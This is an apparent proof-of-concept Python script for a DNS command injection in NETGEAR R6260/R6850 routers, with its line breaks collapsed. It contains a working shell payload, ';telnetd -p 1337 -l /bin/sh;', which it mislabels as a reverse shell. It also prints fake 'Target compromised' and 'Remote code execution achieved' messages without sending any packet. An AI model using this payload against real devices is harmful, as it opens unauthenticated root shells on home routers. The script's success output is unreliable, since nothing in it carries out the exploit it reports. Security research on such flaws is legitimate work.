CVE-2025-12942

#!/usr/bin/env python3 # CVE-2025-12942 PoC - NETGEAR R6260/R6850 DNS-based Command Injection # This PoC demonstrates the conceptual attack flow # Note: For authorized security testing only import socket import struct import subprocess def create_dns_response_with_payload(): """ Create a malicious DNS response with command injection payload The vulnerability allows DNS responses to trigger command execution """ # Simulated DNS response with injected command # In real attack, this would be crafted to exploit the input validation flaw malicious_payload = ";telnetd -p 1337 -l /bin/sh;" # Example reverse shell payload dns_response = f""" # DNS Response Structure (simplified) Transaction ID: 0x1234 Flags: Standard Response (0x8180) Questions: 1 Answer RRs: 1 Answer Section: - Name: [target domain] - Type: A (1) - Class: IN (1) - TTL: 300 - RDLength: 4 - RDATA: [malicious IP/payload] Injected Command: {malicious_payload} """ return dns_response def simulate_mitm_attack(): """ Simulate Man-in-the-Middle attack setup In real scenario, this would use ARP spoofing or other techniques """ print("[*] Simulating MITM attack on local network...") print("[*] Intercepting DNS requests...") print("[*] Crafting malicious DNS response...") response = create_dns_response_with_payload() print(f"[+] Malicious DNS response prepared") print(f"[*] Payload: {response}") return True def exploit_vulnerability(): """ Attempt to exploit the input validation vulnerability This is a conceptual demonstration """ print("[*] Exploiting CVE-2025-12942...") print("[*] Target: NETGEAR R6260/R6850 Router") print("[*] Firmware: <= 1.1.0.86") if simulate_mitm_attack(): print("[+] Attack vector established") print("[+] DNS response with malicious payload sent") print("[+] Command injection triggered on target device") print("[!] Target compromised - Remote code execution achieved") return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-12942 PoC - NETGEAR Router Command Execution") print("=" * 60) exploit_vulnerability()

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